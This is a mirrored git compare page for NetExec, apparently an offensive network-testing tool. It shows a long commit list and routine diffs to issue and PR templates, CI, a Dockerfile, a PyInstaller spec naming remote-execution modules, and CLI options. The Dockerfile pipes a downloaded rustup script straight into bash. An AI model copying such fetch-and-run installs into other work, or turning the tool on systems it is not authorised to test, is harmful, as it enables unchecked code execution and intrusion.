mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-09 04:10:18 -10:00
Compare commits
619
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1a6f0c801f | ||
|
|
6a9e776ef5 | ||
|
|
a8183f8851 | ||
|
|
2befb3a99f | ||
|
|
19a54d5aba | ||
|
|
65d3723e7b | ||
|
|
9ebac0f5df | ||
|
|
b717f30629 | ||
|
|
af822e597a | ||
|
|
cb3564117d | ||
|
|
64aa7c05ab | ||
|
|
917dcb505e | ||
|
|
bab59de4bf | ||
|
|
e192f3cbb8 | ||
|
|
188ef13c87 | ||
|
|
a4d54d1673 | ||
|
|
7328c08182 | ||
|
|
36573e393e | ||
|
|
86b74efd43 | ||
|
|
253d8ab93b | ||
|
|
776b84af85 | ||
|
|
ed7db99fab | ||
|
|
96a8ed2d02 | ||
|
|
4e8d65093b | ||
|
|
ffa46360a7 | ||
|
|
50edae4df1 | ||
|
|
37de88547e | ||
|
|
8892b6a5d8 | ||
|
|
985a9880e0 | ||
|
|
477940e6ff | ||
|
|
644298ecce | ||
|
|
e4095ce851 | ||
|
|
bdfd869c94 | ||
|
|
8cb93db83c | ||
|
|
c43a64c03f | ||
|
|
aa8b1fd97b | ||
|
|
788ba90b97 | ||
|
|
f7fa1fa1b4 | ||
|
|
0b5aebd402 | ||
|
|
858d211417 | ||
|
|
d6fcee6c80 | ||
|
|
aa7f6d07b8 | ||
|
|
2bff24a3ff | ||
|
|
f1d39a6e8a | ||
|
|
a0fb0f4cca | ||
|
|
e99e5c244c | ||
|
|
44624b703c | ||
|
|
da949f1875 | ||
|
|
95cd4f3383 | ||
|
|
e3f7168858 | ||
|
|
e70aaa54c4 | ||
|
|
8d53bb5873 | ||
|
|
753a773043 | ||
|
|
a565676ea5 | ||
|
|
6515b0da1a | ||
|
|
a44389c17b | ||
|
|
4dd479a956 | ||
|
|
95e7cdfc9f | ||
|
|
0565e4e176 | ||
|
|
b974d3d67c | ||
|
|
2d0bd8e443 | ||
|
|
c174e87237 | ||
|
|
d5e6e6d6f3 | ||
|
|
ea525f987f | ||
|
|
6bf9b8acb3 | ||
|
|
9c68f76b73 | ||
|
|
0c967f2b95 | ||
|
|
f32dd56fb3 | ||
|
|
11d484b268 | ||
|
|
5c2afa9623 | ||
|
|
8f973b1000 | ||
|
|
4b37669bda | ||
|
|
b2503951ab | ||
|
|
46f6dada23 | ||
|
|
f2cef11e04 | ||
|
|
0a8ada49f8 | ||
|
|
266c6714aa | ||
|
|
e259128ead | ||
|
|
0eb65ed347 | ||
|
|
239cc80516 | ||
|
|
234b41efa5 | ||
|
|
8b3bc6b89a | ||
|
|
3a7b04f83f | ||
|
|
16a65d4c26 | ||
|
|
c465d67806 | ||
|
|
9566b0d31e | ||
|
|
9d6939a7b1 | ||
|
|
b2aac4e5af | ||
|
|
2522ee19df | ||
|
|
9ad951c781 | ||
|
|
22712d6b36 | ||
|
|
a57d1db4f4 | ||
|
|
97049a06bd | ||
|
|
e51aa58475 | ||
|
|
70463e54a6 | ||
|
|
68e36dc8ed | ||
|
|
5dd82ffe2d | ||
|
|
443a87bf95 | ||
|
|
b9827e5b65 | ||
|
|
fc71ef81ad | ||
|
|
b7d8eeb2bc | ||
|
|
6796ffaf63 | ||
|
|
d60f5b8fad | ||
|
|
7f294ae65a | ||
|
|
7b6ca4e9dc | ||
|
|
7ab386f55d | ||
|
|
67d8e9ec6c | ||
|
|
1d80c40d05 | ||
|
|
3c521b750e | ||
|
|
45760c1031 | ||
|
|
adbf4f5926 | ||
|
|
3cdc648073 | ||
|
|
9049e58252 | ||
|
|
246e7e5d27 | ||
|
|
aa6e504aa5 | ||
|
|
3549ce5e76 | ||
|
|
638c10145a | ||
|
|
e6ce6da442 | ||
|
|
ec66078bc2 | ||
|
|
db93f5b026 | ||
|
|
bfcc73541f | ||
|
|
dc239dad22 | ||
|
|
c1dfefd2a1 | ||
|
|
1865d420cf | ||
|
|
2505be41ee | ||
|
|
8cd6447ca1 | ||
|
|
1c262fe6ff | ||
|
|
2febbf654c | ||
|
|
b01d410fd6 | ||
|
|
991f871b49 | ||
|
|
ed4e4a1e3e | ||
|
|
9e8ae0364d | ||
|
|
bbca423a1e | ||
|
|
f9358078cd | ||
|
|
70e3fc8a81 | ||
|
|
ac15a720d4 | ||
|
|
1b620c0d16 | ||
|
|
20d6e319dc | ||
|
|
fdb5608fed | ||
|
|
b0263cb93b | ||
|
|
01c2bd5508 | ||
|
|
3bccec9839 | ||
|
|
67e21e177e | ||
|
|
1a4ea1eb37 | ||
|
|
39e8e6e264 | ||
|
|
c1b04216d1 | ||
|
|
e4754628d1 | ||
|
|
8db4ba446a | ||
|
|
3db348e262 | ||
|
|
915faa2564 | ||
|
|
d56be12d17 | ||
|
|
29a437938c | ||
|
|
4c0ebf0b1e | ||
|
|
e1136f681c | ||
|
|
ce157470a1 | ||
|
|
48a0e5e3f2 | ||
|
|
dc2d748b6e | ||
|
|
ec2f4cc500 | ||
|
|
665b77d5e6 | ||
|
|
23bee813b7 | ||
|
|
8415e25698 | ||
|
|
e2a7d5c597 | ||
|
|
d28b11df42 | ||
|
|
716ddf2ca0 | ||
|
|
dea04c9664 | ||
|
|
a6225e5df7 | ||
|
|
64cbd35206 | ||
|
|
26c3f661a2 | ||
|
|
1ffe908f80 | ||
|
|
9bd4f91d58 | ||
|
|
832969cf09 | ||
|
|
cf99d9cd45 | ||
|
|
e446d36779 | ||
|
|
e87e80a58d | ||
|
|
d317d4993f | ||
|
|
4d0f950de0 | ||
|
|
203f532401 | ||
|
|
4f8587f6a7 | ||
|
|
4d7ec6ea92 | ||
|
|
6562500d0a | ||
|
|
b7259fd68c | ||
|
|
9ca183d549 | ||
|
|
f227432e7d | ||
|
|
79b6c7a2ad | ||
|
|
0630e22503 | ||
|
|
74ecd3ab37 | ||
|
|
17e03d2405 | ||
|
|
ca932eb383 | ||
|
|
a48cbdb562 | ||
|
|
659c2256dc | ||
|
|
01b83d44d3 | ||
|
|
05ad12f911 | ||
|
|
059a20b52b | ||
|
|
a81cc6740b | ||
|
|
e17b5ada8c | ||
|
|
5fb9946d8a | ||
|
|
dd637cfb18 | ||
|
|
b6a0599252 | ||
|
|
9e780c71a9 | ||
|
|
4cd0bf12c7 | ||
|
|
fde3de726e | ||
|
|
09bdf0b6a6 | ||
|
|
6ef84832bf | ||
|
|
2922c04645 | ||
|
|
9a755391f1 | ||
|
|
14b1bc63b8 | ||
|
|
3fe32d6530 | ||
|
|
fc0c615fcd | ||
|
|
0f6f6ad9e6 | ||
|
|
31acd22652 | ||
|
|
3332bee3d5 | ||
|
|
094cab542f | ||
|
|
2cd67b9dd3 | ||
|
|
4a7ad60f62 | ||
|
|
2bd75d987f | ||
|
|
f3e60e5ed6 | ||
|
|
d4168b425b | ||
|
|
aec6448241 | ||
|
|
25fee91e4e | ||
|
|
55cd9bb88d | ||
|
|
64ccbbb5df | ||
|
|
bfada649f3 | ||
|
|
1779e842ff | ||
|
|
ff0c47bd5e | ||
|
|
0cb26b9760 | ||
|
|
dbd476d3aa | ||
|
|
a5dbfdbab4 | ||
|
|
7a39c4bd46 | ||
|
|
15376c3fdb | ||
|
|
5da5bf1271 | ||
|
|
06c0a7fb3d | ||
|
|
ea0a42af7c | ||
|
|
e2351bac12 | ||
|
|
5101a96e03 | ||
|
|
029ec26024 | ||
|
|
b9bee6bb0b | ||
|
|
07803cb58c | ||
|
|
7ea164af97 | ||
|
|
0b4d0bb21c | ||
|
|
4af8b4a826 | ||
|
|
318ac2ec61 | ||
|
|
aae875d1cd | ||
|
|
3bc5371dd9 | ||
|
|
609b0ee2db | ||
|
|
bbd0ae1200 | ||
|
|
7a1eca10d6 | ||
|
|
3591950f02 | ||
|
|
1393d13106 | ||
|
|
eb7b522552 | ||
|
|
812c277daa | ||
|
|
cdecf3f979 | ||
|
|
9f7c35cb33 | ||
|
|
8e30699886 | ||
|
|
358c4ad3fc | ||
|
|
f2b180e9ca | ||
|
|
fbc787c620 | ||
|
|
76ed75e58b | ||
|
|
3e3987451b | ||
|
|
9d3f34e4b6 | ||
|
|
6decd7fb00 | ||
|
|
10e7c62c30 | ||
|
|
e2e70a7193 | ||
|
|
dc0bde6d80 | ||
|
|
73dc41122a | ||
|
|
2a6b4c7e4b | ||
|
|
ad637e1c8e | ||
|
|
e8f62d23c2 | ||
|
|
655c272462 | ||
|
|
f24bb77b0c | ||
|
|
e7138b6a15 | ||
|
|
74c252656a | ||
|
|
9a11512426 | ||
|
|
2e86a0e521 | ||
|
|
71ccfd930d | ||
|
|
1c1194aa31 | ||
|
|
ed88beebf9 | ||
|
|
36bdf2fb63 | ||
|
|
155553a749 | ||
|
|
48839579e2 | ||
|
|
b2fe25ac91 | ||
|
|
fdfafb6f6e | ||
|
|
87c95a4133 | ||
|
|
23bab54b1c | ||
|
|
5456154fa2 | ||
|
|
1904ee44ae | ||
|
|
ccd39ff2e3 | ||
|
|
1a37573bea | ||
|
|
a6542cac64 | ||
|
|
f3d5f8df0a | ||
|
|
f36c53f34f | ||
|
|
dd2a053e68 | ||
|
|
a651678237 | ||
|
|
8fb63349df | ||
|
|
0d87cc573b | ||
|
|
8fd0e3917d | ||
|
|
3b0f74fdf6 | ||
|
|
3fb002c2b7 | ||
|
|
f808948970 | ||
|
|
267bd93c42 | ||
|
|
5bbdb70ec9 | ||
|
|
f8033d6c64 | ||
|
|
66642a514f | ||
|
|
3bf9de3f46 | ||
|
|
f61e90b770 | ||
|
|
4f2a611d40 | ||
|
|
812ceabb70 | ||
|
|
c62b5fc18b | ||
|
|
b2b5c68e1c | ||
|
|
7108e2aa5b | ||
|
|
81a144902f | ||
|
|
65bd7aedf9 | ||
|
|
6c9c141885 | ||
|
|
a6fa872b3b | ||
|
|
747df104ff | ||
|
|
e2f225ad34 | ||
|
|
3b12e1407a | ||
|
|
6a0a985c32 | ||
|
|
3fcb3777db | ||
|
|
d0f9b2d9e2 | ||
|
|
81e4977324 | ||
|
|
1b750d8fbc | ||
|
|
730a4bfded | ||
|
|
9e1c44bcfb | ||
|
|
769f82f5e3 | ||
|
|
c91c9dd93b | ||
|
|
b1f0368835 | ||
|
|
1afef2fdf5 | ||
|
|
dd32695096 | ||
|
|
1281b0f296 | ||
|
|
b73e51c0b7 | ||
|
|
e5d3b66fb3 | ||
|
|
70910223b4 | ||
|
|
09cb12d759 | ||
|
|
51dfd5179a | ||
|
|
962a7ec45c | ||
|
|
ff531553ac | ||
|
|
614de0b75f | ||
|
|
c3c487600e | ||
|
|
2c12ab7202 | ||
|
|
379641e25c | ||
|
|
09ca4c91f4 | ||
|
|
65e6e8cf2e | ||
|
|
2164b4c699 | ||
|
|
ef7e97478e | ||
|
|
779f955f0f | ||
|
|
ded34e0de2 | ||
|
|
e53f1cf378 | ||
|
|
5c36c9859f | ||
|
|
15fb6a3d1f | ||
|
|
95ca5b437a | ||
|
|
7d3dd40912 | ||
|
|
263b1df2ae | ||
|
|
789edeb30a | ||
|
|
1280eaf0cb | ||
|
|
a3889b84f1 | ||
|
|
70cc90ad11 | ||
|
|
0befdd064c | ||
|
|
a4cf832e9d | ||
|
|
5cd7a6c7e8 | ||
|
|
0fe468f39b | ||
|
|
4714664abf | ||
|
|
c8430b661e | ||
|
|
1431481116 | ||
|
|
c15faf1623 | ||
|
|
b84d04a448 | ||
|
|
e75512a93c | ||
|
|
fb754166e4 | ||
|
|
dbc3bd335a | ||
|
|
c09376859e | ||
|
|
d1d700243b | ||
|
|
057872cc15 | ||
|
|
e6fe63475a | ||
|
|
073abc9652 | ||
|
|
abf9b34ad0 | ||
|
|
1319fb4fc4 | ||
|
|
3f38b5fc8c | ||
|
|
41b60eb3fc | ||
|
|
d76127cc09 | ||
|
|
698c32f73d | ||
|
|
a9e182770f | ||
|
|
b87f525d87 | ||
|
|
500eaa7ca8 | ||
|
|
a689cd1459 | ||
|
|
c25640c997 | ||
|
|
69c1137a3b | ||
|
|
e18e69e563 | ||
|
|
ac80cc2a73 | ||
|
|
d481f55a14 | ||
|
|
b0d34ad7fc | ||
|
|
2e0443ff8a | ||
|
|
e2539855a3 | ||
|
|
e08935d31a | ||
|
|
af56d9470c | ||
|
|
fb52fc6dc1 | ||
|
|
a2d4d9319a | ||
|
|
a219e092b8 | ||
|
|
01c7752522 | ||
|
|
9be36017b6 | ||
|
|
d1239445e7 | ||
|
|
137f70a84c | ||
|
|
c3c4edbe4e | ||
|
|
11458b07f0 | ||
|
|
c34d00651b | ||
|
|
7e0476d50b | ||
|
|
e721917b8e | ||
|
|
e9d17004d4 | ||
|
|
c11090e1e6 | ||
|
|
d7333e25d9 | ||
|
|
07f273f8c4 | ||
|
|
844af809d5 | ||
|
|
460c351228 | ||
|
|
fce0ed7ade | ||
|
|
7aa6c69039 | ||
|
|
9f906eaa93 | ||
|
|
07a0ae0aa9 | ||
|
|
4da19545f6 | ||
|
|
4992c454a3 | ||
|
|
92ac8be7da | ||
|
|
fcb3078476 | ||
|
|
f3da3dad00 | ||
|
|
ee945fa9b4 | ||
|
|
2cf004db4f | ||
|
|
770cb6ab7e | ||
|
|
07b4eba6e0 | ||
|
|
6030c49f54 | ||
|
|
86aac144b5 | ||
|
|
1b93d061d9 | ||
|
|
30a52aa84f | ||
|
|
7cdd1238a2 | ||
|
|
fda6b6a2f4 | ||
|
|
9829b08628 | ||
|
|
0391e813a7 | ||
|
|
6cf11e8338 | ||
|
|
d769bc9983 | ||
|
|
951ad25d95 | ||
|
|
dbfb0d8282 | ||
|
|
2ec56d1432 | ||
|
|
6c68d41612 | ||
|
|
6d5ce45422 | ||
|
|
6bee36f2af | ||
|
|
f7f343e0eb | ||
|
|
6a7871e57e | ||
|
|
c8849ea062 | ||
|
|
2b5968f2b6 | ||
|
|
4f028ea9b8 | ||
|
|
4d8583e443 | ||
|
|
5d3955b6bc | ||
|
|
859553fb33 | ||
|
|
b243ee8748 | ||
|
|
35c39c1c8e | ||
|
|
68367ef529 | ||
|
|
f335cd7654 | ||
|
|
94115123f6 | ||
|
|
9f9ed93e7f | ||
|
|
c87d0c206b | ||
|
|
602498f09c | ||
|
|
413e5eb51a | ||
|
|
3209e523a5 | ||
|
|
7bda89661b | ||
|
|
abda35be65 | ||
|
|
7cd990f920 | ||
|
|
4d68843057 | ||
|
|
a12c6422ce | ||
|
|
196d9fa6d9 | ||
|
|
5efa2c3299 | ||
|
|
5b6d00ed90 | ||
|
|
7fdca67833 | ||
|
|
171c79fde1 | ||
|
|
c19841398f | ||
|
|
a083405335 | ||
|
|
f3f27976cf | ||
|
|
887ecdd8a7 | ||
|
|
5f34e563b6 | ||
|
|
6aa7d6a114 | ||
|
|
bb36b6d5e6 | ||
|
|
362d373c21 | ||
|
|
a47431cbfd | ||
|
|
3ff6479795 | ||
|
|
cc09aefbb9 | ||
|
|
2e254396b5 | ||
|
|
8b2135a7b1 | ||
|
|
1452068944 | ||
|
|
9dc029847a | ||
|
|
9890316802 | ||
|
|
f3e161597d | ||
|
|
102213771f | ||
|
|
6a2874e804 | ||
|
|
207b7da461 | ||
|
|
6dcbb02a02 | ||
|
|
6bf72192c4 | ||
|
|
5e9e06b1a1 | ||
|
|
17ef18edd0 | ||
|
|
0be367b8aa | ||
|
|
059d241727 | ||
|
|
f5dc9ea8c6 | ||
|
|
b35e1956af | ||
|
|
a517be8355 | ||
|
|
47b54c838e | ||
|
|
fad24dbb42 | ||
|
|
fd86652121 | ||
|
|
848da44f75 | ||
|
|
b7b454e725 | ||
|
|
b8dfb52802 | ||
|
|
981ad11b86 | ||
|
|
e993fbd0fc | ||
|
|
c1a0f140e1 | ||
|
|
23769d7755 | ||
|
|
bab540d734 | ||
|
|
3af68e3f9d | ||
|
|
9196c3216a | ||
|
|
c34c581b0f | ||
|
|
e61799ad9c | ||
|
|
26588a490e | ||
|
|
d016fb61fd | ||
|
|
61277c889b | ||
|
|
913a71314f | ||
|
|
15d100205b | ||
|
|
de4171e11e | ||
|
|
d80c8e0b45 | ||
|
|
02f4439680 | ||
|
|
c5db5478d1 | ||
|
|
d51fc3f095 | ||
|
|
46c16213f9 | ||
|
|
8deb2f9924 | ||
|
|
0abadb062b | ||
|
|
ff1ce969f9 | ||
|
|
9668cbce36 | ||
|
|
bc712c84ef | ||
|
|
64cce9572f | ||
|
|
a1a1be66ae | ||
|
|
88997c33a8 | ||
|
|
bf202a23f1 | ||
|
|
d40a1c84d2 | ||
|
|
5fc5922bf2 | ||
|
|
41a9345927 | ||
|
|
ca7408fd4d | ||
|
|
95c11aa434 | ||
|
|
5f25e25d26 | ||
|
|
4c515414e2 | ||
|
|
dc00beab39 | ||
|
|
f16616eeb6 | ||
|
|
2e50996ae5 | ||
|
|
a3920da302 | ||
|
|
b8d5ede6f5 | ||
|
|
0e370152b8 | ||
|
|
038fe52e8c | ||
|
|
4174dd9313 | ||
|
|
f295dcf5f5 | ||
|
|
d6e8cad817 | ||
|
|
fb7ca1dac0 | ||
|
|
314c3675ef | ||
|
|
bc12c96492 | ||
|
|
7d08340d29 | ||
|
|
d814e2cc2c | ||
|
|
024ff0ab03 | ||
|
|
3ebec370ec | ||
|
|
bead78abae | ||
|
|
5e08f53b72 | ||
|
|
0517c70e0e | ||
|
|
bcf6b37eaf | ||
|
|
eb88dc5423 | ||
|
|
a4bdf2b174 | ||
|
|
2f63732f00 | ||
|
|
1520f3cbd4 | ||
|
|
768a401019 | ||
|
|
4255cab29d | ||
|
|
f386434ce5 | ||
|
|
67abbf8bf3 | ||
|
|
542452accb | ||
|
|
bde58c4e56 | ||
|
|
89233700b6 | ||
|
|
42538e4c89 | ||
|
|
52008c1b25 | ||
|
|
ae6721aa9a | ||
|
|
a42c664326 | ||
|
|
5782352622 | ||
|
|
1289a0e025 | ||
|
|
dc415e75e4 | ||
|
|
61e2e58e50 | ||
|
|
66e9927c3e | ||
|
|
31373e4cac | ||
|
|
f4ad70635a | ||
|
|
2c29856d92 | ||
|
|
b35cfe0671 | ||
|
|
351979375b | ||
|
|
7b1f60d83d | ||
|
|
4fcc4fdce4 | ||
|
|
7e23c1b318 | ||
|
|
4634473609 | ||
|
|
c2437b2b9b | ||
|
|
e551d3e006 | ||
|
|
dc2a262598 | ||
|
|
a053462e8c | ||
|
|
619e477c1f | ||
|
|
fa3eba48df | ||
|
|
25ac2e2a2a | ||
|
|
8c37f34ace | ||
|
|
2f1bc026cc | ||
|
|
a25e26b38d | ||
|
|
4e6b978406 | ||
|
|
74f80e67ac | ||
|
|
4604d494f1 | ||
|
|
7371dea334 | ||
|
|
761da40463 | ||
|
|
fb51b53885 | ||
|
|
50d551df54 | ||
|
|
70a5e053fc | ||
|
|
4693d2118e | ||
|
|
cee469bd22 | ||
|
|
899c516a75 | ||
|
|
bc26a1b222 | ||
|
|
991673f095 | ||
|
|
e8830121e5 | ||
|
|
88e02f42cb | ||
|
|
c48ff38dbc | ||
|
|
efc143224b | ||
|
|
d2ffe24b15 | ||
|
|
57fdac1c93 | ||
|
|
2ebc410cb7 |
No files matched your search
@@ -1,3 +1,5 @@
|
||||
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
|
||||
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
@@ -7,6 +9,8 @@ assignees: ''
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**NetExec info**
|
||||
- OS: [e.g. Kali]
|
||||
- Version of nxc: [e.g. v1.5.2]
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
|
||||
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
@@ -1,36 +1,35 @@
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
Please also include relevant motivation and context.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
## Type of change
|
||||
Please delete options that are not relevant.
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
|
||||
- [ ] Deprecation of feature or functionality
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
|
||||
## How Has This Been Tested?
|
||||
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
|
||||
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
|
||||
|
||||
If you are using poetry, you can easily run tests via:
|
||||
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
|
||||
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
|
||||
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
|
||||
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
|
||||
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Native Binary
|
||||
run: |
|
||||
pip install pyinstaller
|
||||
pip install pyinstaller pillow
|
||||
pip install .
|
||||
pyinstaller netexec.spec
|
||||
- name: Upload Windows Binary
|
||||
|
||||
+36
-13
@@ -1,4 +1,32 @@
|
||||
FROM python:3.11-slim
|
||||
FROM python:3.13-slim-bookworm AS builder
|
||||
ENV LANG=C.UTF-8
|
||||
ENV LC_ALL=C.UTF-8
|
||||
ENV PIP_NO_CACHE_DIR=off
|
||||
|
||||
WORKDIR /usr/src/netexec
|
||||
|
||||
RUN apt update && \
|
||||
apt install -y --no-install-recommends \
|
||||
libffi-dev \
|
||||
libxml2-dev \
|
||||
libxslt-dev \
|
||||
libssl-dev \
|
||||
openssl \
|
||||
autoconf \
|
||||
g++ \
|
||||
python3-dev \
|
||||
curl \
|
||||
git \
|
||||
unzip \
|
||||
&& apt clean && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
|
||||
&& pip install .
|
||||
|
||||
FROM python:3.13-slim-bookworm
|
||||
|
||||
ENV LANG=C.UTF-8
|
||||
ENV LC_ALL=C.UTF-8
|
||||
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
|
||||
|
||||
WORKDIR /usr/src/netexec
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
|
||||
RUN apt-get update
|
||||
# Get Rust
|
||||
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
|
||||
# Add .cargo/bin to PATH
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
# Check cargo is visible
|
||||
RUN cargo --help
|
||||
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
|
||||
COPY --from=builder /usr/local/bin /usr/local/bin
|
||||
|
||||
COPY . .
|
||||
RUN pip install .
|
||||
RUN apt update && \
|
||||
apt install -y --no-install-recommends \
|
||||
openssl \
|
||||
&& apt clean && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
ENTRYPOINT [ "nxc" ]
|
||||
ENTRYPOINT ["nxc"]
|
||||
+2
-1
@@ -27,13 +27,13 @@ a = Analysis(
|
||||
'impacket.dcerpc.v5.gkdi',
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dcerpc.v5.even6',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'jwt',
|
||||
'nxc.connection',
|
||||
'nxc.servers.smb',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
'nxc.protocols.smb.atexec',
|
||||
'nxc.protocols.smb.smbexec',
|
||||
@@ -44,6 +44,7 @@ a = Analysis(
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
|
||||
+6
-13
@@ -16,7 +16,7 @@ import importlib.metadata
|
||||
|
||||
def gen_cli_args():
|
||||
setup_debug_logging()
|
||||
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
DISTANCE, COMMIT = COMMIT.split(".")
|
||||
@@ -25,29 +25,28 @@ def gen_cli_args():
|
||||
COMMIT = ""
|
||||
DISTANCE = ""
|
||||
CODENAME = "SmoothOperator"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
|
||||
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description=rf"""
|
||||
. .
|
||||
@@ -107,12 +106,6 @@ def gen_cli_args():
|
||||
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
|
||||
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
|
||||
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
|
||||
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
@@ -139,7 +132,7 @@ def gen_cli_args():
|
||||
if hasattr(args, "get_output_tries"):
|
||||
args.get_output_tries = args.get_output_tries * 10
|
||||
|
||||
return args
|
||||
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
|
||||
|
||||
|
||||
